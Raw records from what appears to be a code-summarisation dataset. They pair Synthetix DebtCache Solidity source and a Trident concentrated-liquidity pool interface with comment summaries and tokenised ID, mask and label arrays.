function debtSnapshotStaleTime() external view returns (uint) {
return getDebtSnapshotStaleTime();
}
function cachedDebt() external view returns (uint) {
return _cachedDebt;
}
function cachedSynthDebt(bytes32 currencyKey) external view returns (uint) {
return _cachedSynthDebt[currencyKey];
}
function cacheTimestamp() external view returns (uint) {
return _cacheTimestamp;
}
function cacheInvalid() external view returns (bool) {
return _cacheInvalid;
}
function _cacheStale(uint timestamp) internal view returns (bool) {
// Note a 0 timestamp means that the cache is uninitialised.
// We'll keep the check explicitly in case the stale time is
// ever set to something higher than the current unix time (e.g. to turn off staleness).
return getDebtSnapshotStaleTime() < block.timestamp - timestamp || timestamp == 0;
}
function cacheStale() external view returns (bool) {
return _cacheStale(_cacheTimestamp);
}
function _issuedSynthValues(bytes32[] memory currencyKeys, uint[] memory rates)
internal
view
returns (uint[] memory values)
{
uint numValues = currencyKeys.length;
values = new uint[](numValues);
ISynth[] memory synths = issuer().getSynths(currencyKeys);
for (uint i = 0; i < numValues; i++) {
address synthAddress = address(synths[i]);
require(synthAddress != address(0), "Synth does not exist");
uint supply = IERC20(synthAddress).totalSupply();
values[i] = supply.multiplyDecimalRound(rates[i]);
}
return (values);
}
function _currentSynthDebts(bytes32[] memory currencyKeys)
internal
view
returns (
uint[] memory snxIssuedDebts,
uint _excludedDebt,
bool anyRateIsInvalid
)
{
(uint[] memory rates, bool isInvalid) = exchangeRates().ratesAndInvalidForCurrencies(currencyKeys);
uint[] memory values = _issuedSynthValues(currencyKeys, rates);
(uint excludedDebt, bool isAnyNonSnxDebtRateInvalid) = _totalNonSnxBackedDebt();
return (values, excludedDebt, isInvalid || isAnyNonSnxDebtRateInvalid);
}
function currentSynthDebts(bytes32[] calldata currencyKeys)
external
view
returns (
uint[] memory debtValues,
uint excludedDebt,
bool anyRateIsInvalid
)
{
return _currentSynthDebts(currencyKeys);
}
function _cachedSynthDebts(bytes32[] memory currencyKeys) internal view returns (uint[] memory) {
uint numKeys = currencyKeys.length;
uint[] memory debts = new uint[](numKeys);
for (uint i = 0; i < numKeys; i++) {
debts[i] = _cachedSynthDebt[currencyKeys[i]];
}
return debts;
}
function cachedSynthDebts(bytes32[] calldata currencyKeys) external view returns (uint[] memory snxIssuedDebts) {
return _cachedSynthDebts(currencyKeys);
}
// Returns the total sUSD debt backed by non-SNX collateral.
function totalNonSnxBackedDebt() external view returns (uint excludedDebt, bool isInvalid) {
return _totalNonSnxBackedDebt();
}
function _totalNonSnxBackedDebt() internal view returns (uint excludedDebt, bool isInvalid) {
// Calculate excluded debt.
// 1. Ether Collateral.
excludedDebt = excludedDebt.add(etherCollateralsUSD().totalIssuedSynths()); // Ether-backed sUSD
uint etherCollateralTotalIssuedSynths = etherCollateral().totalIssuedSynths();
// We check the supply > 0 as on L2, we may not yet have up-to-date rates for sETH.
if (etherCollateralTotalIssuedSynths > 0) {
(uint sETHRate, bool sETHRateIsInvalid) = exchangeRates().rateAndInvalid(sETH);
isInvalid = isInvalid || sETHRateIsInvalid;
excludedDebt = excludedDebt.add(etherCollateralTotalIssuedSynths.multiplyDecimalRound(sETHRate)); // Ether-backed sETH
}
// 2. MultiCollateral long debt + short debt.
(uint longValue, bool anyTotalLongRateIsInvalid) = collateralManager().totalLong();
(uint shortValue, bool anyTotalShortRateIsInvalid) = collateralManager().totalShort();
isInvalid = isInvalid || anyTotalLongRateIsInvalid || anyTotalShortRateIsInvalid;
excludedDebt = excludedDebt.add(longValue).add(shortValue);
// 3. EtherWrapper.
// Subtract sETH and sUSD issued by EtherWrapper.
excludedDebt = excludedDebt.add(etherWrapper().totalIssuedSynths());
return (excludedDebt, isInvalid);
}
function _currentDebt() internal view returns (uint debt, bool anyRateIsInvalid) {
bytes32[] memory currencyKeys = issuer().availableCurrencyKeys();
(uint[] memory rates, bool isInvalid) = exchangeRates().ratesAndInvalidForCurrencies(currencyKeys);
// Sum all issued synth values based on their supply.
uint[] memory values = _issuedSynthValues(currencyKeys, rates);
(uint excludedDebt, bool isAnyNonSnxDebtRateInvalid) = _totalNonSnxBackedDebt();
uint numValues = values.length;
uint total;
for (uint i; i < numValues; i++) {
total = total.add(values[i]);
}
total = total < excludedDebt ? 0 : total.sub(excludedDebt);
return (total, isInvalid || isAnyNonSnxDebtRateInvalid);
}
function currentDebt() external view returns (uint debt, bool anyRateIsInvalid) {
return _currentDebt();
}
function cacheInfo()
external
view
returns (
uint debt,
uint timestamp,
bool isInvalid,
bool isStale
)
{
uint time = _cacheTimestamp;
return (_cachedDebt, time, _cacheInvalid, _cacheStale(time));
}
/* ========== MUTATIVE FUNCTIONS ========== */
// Stub out all mutative functions as no-ops;
// since they do nothing, there are no restrictions
function updateCachedSynthDebts(bytes32[] calldata currencyKeys) external {}
function updateCachedSynthDebtWithRate(bytes32 currencyKey, uint currencyRate) external {}
function updateCachedSynthDebtsWithRates(bytes32[] calldata currencyKeys, uint[] calldata currencyRates) external {}
function updateDebtCacheValidity(bool currentlyInvalid) external {}
function purgeCachedSynthDebt(bytes32 currencyKey) external {}
function takeDebtSnapshot() external {}
/* ========== MODIFIERS ========== */
function _requireSystemActiveIfNotOwner() internal view {
if (msg.sender != owner) {
systemStatus().requireSystemActive();
}
}
modifier requireSystemActiveIfNotOwner() {
_requireSystemActiveIfNotOwner();
_;
}
function _onlyIssuer() internal view {
require(msg.sender == address(issuer()), "Sender is not Issuer");
}
modifier onlyIssuer() {
_onlyIssuer();
_;
}
function _onlyIssuerOrExchanger() internal view {
require(msg.sender == address(issuer()) || msg.sender == address(exchanger()), "Sender is not Issuer or Exchanger");
}
modifier onlyIssuerOrExchanger() {
_onlyIssuerOrExchanger();
_;
}
}
// Libraries
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/debtcache
contract DebtCache is BaseDebtCache {
using SafeDecimalMath for uint;
bytes32 public constant CONTRACT_NAME = "DebtCache";
constructor(address _owner, address _resolver) public BaseDebtCache(_owner, _resolver) {}
bytes32 internal constant EXCLUDED_DEBT_KEY = "EXCLUDED_DEBT";
/* ========== MUTATIVE FUNCTIONS ========== */
// This function exists in case a synth is ever somehow removed without its snapshot being updated.
function purgeCachedSynthDebt(bytes32 currencyKey) external onlyOwner {
require(issuer().synths(currencyKey) == ISynth(0), "Synth exists");
delete _cachedSynthDebt[currencyKey];
}
function takeDebtSnapshot() external requireSystemActiveIfNotOwner {
bytes32[] memory currencyKeys = issuer().availableCurrencyKeys();
(uint[] memory values, uint excludedDebt, bool isInvalid) = _currentSynthDebts(currencyKeys);
uint numValues = values.length;
uint snxCollateralDebt;
for (uint i; i < numValues; i++) {
uint value = values[i];
snxCollateralDebt = snxCollateralDebt.add(value);
_cachedSynthDebt[currencyKeys[i]] = value;
}
_cachedSynthDebt[EXCLUDED_DEBT_KEY] = excludedDebt;
uint newDebt = snxCollateralDebt.floorsub(excludedDebt);
_cachedDebt = newDebt;
_cacheTimestamp = block.timestamp;
emit DebtCacheUpdated(newDebt);
emit DebtCacheSnapshotTaken(block.timestamp);
// (in)validate the cache if necessary
_updateDebtCacheValidity(isInvalid);
}
function updateCachedSynthDebts(bytes32[] calldata currencyKeys) external requireSystemActiveIfNotOwner {
(uint[] memory rates, bool anyRateInvalid) = exchangeRates().ratesAndInvalidForCurrencies(currencyKeys);
_updateCachedSynthDebtsWithRates(currencyKeys, rates, anyRateInvalid, false);
}
function updateCachedSynthDebtWithRate(bytes32 currencyKey, uint currencyRate) external onlyIssuer {
bytes32[] memory synthKeyArray = new bytes32[](1);
synthKeyArray[0] = currencyKey;
uint[] memory synthRateArray = new uint[](1);
synthRateArray[0] = currencyRate;
_updateCachedSynthDebtsWithRates(synthKeyArray, synthRateArray, false, false);
}
function updateCachedSynthDebtsWithRates(bytes32[] calldata currencyKeys, uint[] calldata currencyRates)
external
onlyIssuerOrExchanger
{
_updateCachedSynthDebtsWithRates(currencyKeys, currencyRates, false, false);
}
function updateDebtCacheValidity(bool currentlyInvalid) external onlyIssuer {
_updateDebtCacheValidity(currentlyInvalid);
}
/* ========== INTERNAL FUNCTIONS ========== */
function _updateDebtCacheValidity(bool currentlyInvalid) internal {
if (_cacheInvalid != currentlyInvalid) {
_cacheInvalid = currentlyInvalid;
emit DebtCacheValidityChanged(currentlyInvalid);
}
}
function _updateCachedSynthDebtsWithRates(
bytes32[] memory currencyKeys,
uint[] memory currentRates,
bool anyRateIsInvalid,
bool recomputeExcludedDebt
) internal {
uint numKeys = currencyKeys.length;
require(numKeys == currentRates.length, "Input array lengths differ");
// Update the cached values for each synth, saving the sums as we go.
uint cachedSum;
uint currentSum;
uint[] memory currentValues = _issuedSynthValues(currencyKeys, currentRates);
for (uint i = 0; i < numKeys; i++) {
bytes32 key = currencyKeys[i];
uint currentSynthDebt = currentValues[i];
cachedSum = cachedSum.add(_cachedSynthDebt[key]);
currentSum = currentSum.add(currentSynthDebt);
_cachedSynthDebt[key] = currentSynthDebt;
}
// Compute the difference and apply it to the snapshot
if (cachedSum != currentSum) {
uint debt = _cachedDebt;
// This requirement should never fail, as the total debt snapshot is the sum of the individual synth
// debt snapshots.
require(cachedSum <= debt, "Cached synth sum exceeds total debt");
debt = debt.sub(cachedSum).add(currentSum);
// As of SIPS 136 and 150, this excluded debt section is unused.
// All callers of this function pass in false for `recomputeExcludedDebt`
// for performance reasons (_totalNonSnxBackedDebt is expensive)
// until we circle back when the debt calculation is refactored or discarded.
if (recomputeExcludedDebt) {
(uint excludedDebt, bool anyNonSnxDebtRateIsInvalid) = _totalNonSnxBackedDebt();
anyRateIsInvalid = anyRateIsInvalid || anyNonSnxDebtRateIsInvalid;
debt = debt.add(excludedDebt).floorsub(_cachedSynthDebt[EXCLUDED_DEBT_KEY]);
_cachedSynthDebt[EXCLUDED_DEBT_KEY] = excludedDebt;
}
_cachedDebt = debt;
emit DebtCacheUpdated(debt);
}
// A partial update can invalidate the debt cache, but a full snapshot must be performed in order
// to re-validate it.
if (anyRateIsInvalid) {
_updateDebtCacheValidity(anyRateIsInvalid);
}
}
/* ========== EVENTS ========== */
event DebtCacheUpdated(uint cachedDebt);
event DebtCacheSnapshotTaken(uint timestamp);
event DebtCacheValidityChanged(bool indexed isInvalid);
}
|
Update the cached values for each synth, saving the sums as we go. Compute the difference and apply it to the snapshot This requirement should never fail, as the total debt snapshot is the sum of the individual synth debt snapshots. As of SIPS 136 and 150, this excluded debt section is unused. All callers of this function pass in false for `recomputeExcludedDebt` for performance reasons (_totalNonSnxBackedDebt is expensive) until we circle back when the debt calculation is refactored or discarded. A partial update can invalidate the debt cache, but a full snapshot must be performed in order to re-validate it.
|
function _updateCachedSynthDebtsWithRates(
bytes32[] memory currencyKeys,
uint[] memory currentRates,
bool anyRateIsInvalid,
bool recomputeExcludedDebt
) internal {
uint numKeys = currencyKeys.length;
require(numKeys == currentRates.length, "Input array lengths differ");
uint cachedSum;
uint currentSum;
uint[] memory currentValues = _issuedSynthValues(currencyKeys, currentRates);
for (uint i = 0; i < numKeys; i++) {
bytes32 key = currencyKeys[i];
uint currentSynthDebt = currentValues[i];
cachedSum = cachedSum.add(_cachedSynthDebt[key]);
currentSum = currentSum.add(currentSynthDebt);
_cachedSynthDebt[key] = currentSynthDebt;
}
if (cachedSum != currentSum) {
uint debt = _cachedDebt;
require(cachedSum <= debt, "Cached synth sum exceeds total debt");
debt = debt.sub(cachedSum).add(currentSum);
if (recomputeExcludedDebt) {
(uint excludedDebt, bool anyNonSnxDebtRateIsInvalid) = _totalNonSnxBackedDebt();
anyRateIsInvalid = anyRateIsInvalid || anyNonSnxDebtRateIsInvalid;
debt = debt.add(excludedDebt).floorsub(_cachedSynthDebt[EXCLUDED_DEBT_KEY]);
_cachedSynthDebt[EXCLUDED_DEBT_KEY] = excludedDebt;
}
_cachedDebt = debt;
emit DebtCacheUpdated(debt);
}
if (anyRateIsInvalid) {
_updateDebtCacheValidity(anyRateIsInvalid);
}
}
event DebtCacheUpdated(uint cachedDebt);
event DebtCacheSnapshotTaken(uint timestamp);
event DebtCacheValidityChanged(bool indexed isInvalid);
| 2,136,788 |
[
1,
4625,
348,
7953,
560,
30,
225,
2315,
326,
3472,
924,
364,
1517,
6194,
451,
16,
12392,
326,
26608,
487,
732,
1960,
18,
8155,
326,
7114,
471,
2230,
518,
358,
326,
4439,
1220,
12405,
1410,
5903,
2321,
16,
487,
326,
2078,
18202,
88,
4439,
353,
326,
2142,
434,
326,
7327,
6194,
451,
18202,
88,
12808,
18,
2970,
434,
348,
2579,
55,
404,
5718,
471,
18478,
16,
333,
8845,
18202,
88,
2442,
353,
10197,
18,
4826,
19932,
434,
333,
445,
1342,
316,
629,
364,
1375,
266,
9200,
16461,
758,
23602,
68,
364,
9239,
14000,
261,
67,
4963,
3989,
10461,
92,
2711,
329,
758,
23602,
353,
19326,
13,
3180,
732,
12470,
1473,
1347,
326,
18202,
88,
11096,
353,
283,
3493,
7653,
578,
20076,
18,
432,
4702,
1089,
848,
11587,
326,
18202,
88,
1247,
16,
1496,
279,
1983,
4439,
1297,
506,
9591,
316,
1353,
358,
283,
17,
5662,
518,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
2725,
9839,
10503,
451,
758,
70,
3428,
1190,
20836,
12,
203,
3639,
1731,
1578,
8526,
3778,
5462,
2396,
16,
203,
3639,
2254,
8526,
3778,
783,
20836,
16,
203,
3639,
1426,
1281,
4727,
2520,
1941,
16,
203,
3639,
1426,
30067,
16461,
758,
23602,
203,
565,
262,
2713,
288,
203,
3639,
2254,
818,
2396,
273,
5462,
2396,
18,
2469,
31,
203,
3639,
2583,
12,
2107,
2396,
422,
783,
20836,
18,
2469,
16,
315,
1210,
526,
10917,
15221,
8863,
203,
203,
3639,
2254,
3472,
3495,
31,
203,
3639,
2254,
783,
3495,
31,
203,
3639,
2254,
8526,
3778,
783,
1972,
273,
389,
1054,
5957,
10503,
451,
1972,
12,
7095,
2396,
16,
783,
20836,
1769,
203,
203,
3639,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
818,
2396,
31,
277,
27245,
288,
203,
5411,
1731,
1578,
498,
273,
5462,
2396,
63,
77,
15533,
203,
5411,
2254,
783,
10503,
451,
758,
23602,
273,
783,
1972,
63,
77,
15533,
203,
5411,
3472,
3495,
273,
3472,
3495,
18,
1289,
24899,
7097,
10503,
451,
758,
23602,
63,
856,
19226,
203,
5411,
783,
3495,
273,
783,
3495,
18,
1289,
12,
2972,
10503,
451,
758,
23602,
1769,
203,
5411,
389,
7097,
10503,
451,
758,
23602,
63,
856,
65,
273,
783,
10503,
451,
758,
23602,
31,
203,
3639,
289,
203,
203,
3639,
309,
261,
7097,
3495,
480,
783,
3495,
13,
288,
203,
5411,
2254,
18202,
88,
273,
389,
7097,
758,
23602,
31,
203,
5411,
2583,
12,
7097,
3495,
1648,
18202,
88,
16,
315,
9839,
6194,
451,
2142,
14399,
2078,
18202,
88,
8863,
203,
5411,
18202,
88,
273,
18202,
88,
18,
1717,
12,
7097,
3495,
2934,
1289,
12,
2972,
3495,
1769,
203,
203,
5411,
309,
261,
266,
9200,
16461,
758,
23602,
13,
288,
203,
7734,
261,
11890,
8845,
758,
23602,
16,
1426,
1281,
3989,
10461,
92,
758,
23602,
4727,
2520,
1941,
13,
273,
389,
4963,
3989,
10461,
92,
2711,
329,
758,
23602,
5621,
203,
7734,
1281,
4727,
2520,
1941,
273,
1281,
4727,
2520,
1941,
747,
1281,
3989,
10461,
92,
758,
23602,
4727,
2520,
1941,
31,
203,
7734,
18202,
88,
273,
18202,
88,
18,
1289,
12,
24602,
758,
23602,
2934,
74,
383,
1383,
373,
24899,
7097,
10503,
451,
758,
23602,
63,
2294,
11686,
7660,
67,
1639,
38,
56,
67,
3297,
19226,
203,
7734,
389,
7097,
10503,
451,
758,
23602,
63,
2294,
11686,
7660,
67,
1639,
38,
56,
67,
3297,
65,
273,
8845,
758,
23602,
31,
203,
5411,
289,
203,
203,
5411,
389,
7097,
758,
23602,
273,
18202,
88,
31,
203,
5411,
3626,
1505,
23602,
1649,
7381,
12,
323,
23602,
1769,
203,
3639,
289,
203,
203,
3639,
309,
261,
2273,
4727,
2520,
1941,
13,
288,
203,
5411,
389,
2725,
758,
23602,
1649,
19678,
12,
2273,
4727,
2520,
1941,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
871,
1505,
23602,
1649,
7381,
12,
11890,
3472,
758,
23602,
1769,
203,
565,
871,
1505,
23602,
1649,
4568,
27486,
12,
11890,
2858,
1769,
203,
565,
871,
1505,
23602,
1649,
19678,
5033,
12,
6430,
8808,
353,
1941,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;
import "./../IPool.sol";
import "./../IBentoBoxMinimal.sol";
import "./../IMasterDeployer.sol";
import "../../libraries/concentratedPool/Ticks.sol";
/// @notice Trident Concentrated Liquidity Pool interface.
interface IConcentratedLiquidityPool is IPool {
function price() external view returns (uint160);
function token0() external view returns (address);
function token1() external view returns (address);
function ticks(int24 _tick) external view returns (Ticks.Tick memory tick);
function feeGrowthGlobal0() external view returns (uint256);
function feeGrowthGlobal1() external view returns (uint256);
function rangeFeeGrowth(int24 lowerTick, int24 upperTick) external view returns (uint256 feeGrowthInside0, uint256 feeGrowthInside1);
function collect(
int24,
int24,
address,
bool
) external returns (uint256 amount0fees, uint256 amount1fees);
function decreaseLiquidity(
int24 lower,
int24 upper,
uint128 amount,
address recipient,
bool unwrapBento
)
external
returns (
TokenAmount[] memory withdrawnAmounts,
TokenAmount[] memory feesWithdrawn,
uint256 oldLiquidity
);
function getImmutables()
external
view
returns (
uint128 _MAX_TICK_LIQUIDITY,
uint24 _tickSpacing,
uint24 _swapFee,
address _barFeeTo,
IBentoBoxMinimal _bento,
IMasterDeployer _masterDeployer,
address _token0,
address _token1
);
function getPriceAndNearestTicks() external view returns (uint160 _price, int24 _nearestTick);
function getTokenProtocolFees() external view returns (uint128 _token0ProtocolFee, uint128 _token1ProtocolFee);
function getReserves() external view returns (uint128 _reserve0, uint128 _reserve1);
function getSecondsGrowthAndLastObservation() external view returns (uint160 _secondGrowthGlobal, uint32 _lastObservation);
}
|
@notice Trident Concentrated Liquidity Pool interface.
|
interface IConcentratedLiquidityPool is IPool {
function price() external view returns (uint160);
function token0() external view returns (address);
function token1() external view returns (address);
function ticks(int24 _tick) external view returns (Ticks.Tick memory tick);
function feeGrowthGlobal0() external view returns (uint256);
function feeGrowthGlobal1() external view returns (uint256);
function rangeFeeGrowth(int24 lowerTick, int24 upperTick) external view returns (uint256 feeGrowthInside0, uint256 feeGrowthInside1);
function collect(
int24,
int24,
address,
bool
) external returns (uint256 amount0fees, uint256 amount1fees);
function decreaseLiquidity(
int24 lower,
int24 upper,
uint128 amount,
address recipient,
bool unwrapBento
)
external
returns (
TokenAmount[] memory withdrawnAmounts,
TokenAmount[] memory feesWithdrawn,
uint256 oldLiquidity
);
function getImmutables()
external
view
returns (
uint128 _MAX_TICK_LIQUIDITY,
uint24 _tickSpacing,
uint24 _swapFee,
address _barFeeTo,
IBentoBoxMinimal _bento,
IMasterDeployer _masterDeployer,
address _token0,
address _token1
);
function getPriceAndNearestTicks() external view returns (uint160 _price, int24 _nearestTick);
function getTokenProtocolFees() external view returns (uint128 _token0ProtocolFee, uint128 _token1ProtocolFee);
function getReserves() external view returns (uint128 _reserve0, uint128 _reserve1);
function getSecondsGrowthAndLastObservation() external view returns (uint160 _secondGrowthGlobal, uint32 _lastObservation);
}
| 987,056 |
[
1,
4625,
348,
7953,
560,
30,
225,
632,
20392,
840,
6392,
735,
71,
8230,
690,
511,
18988,
24237,
8828,
1560,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
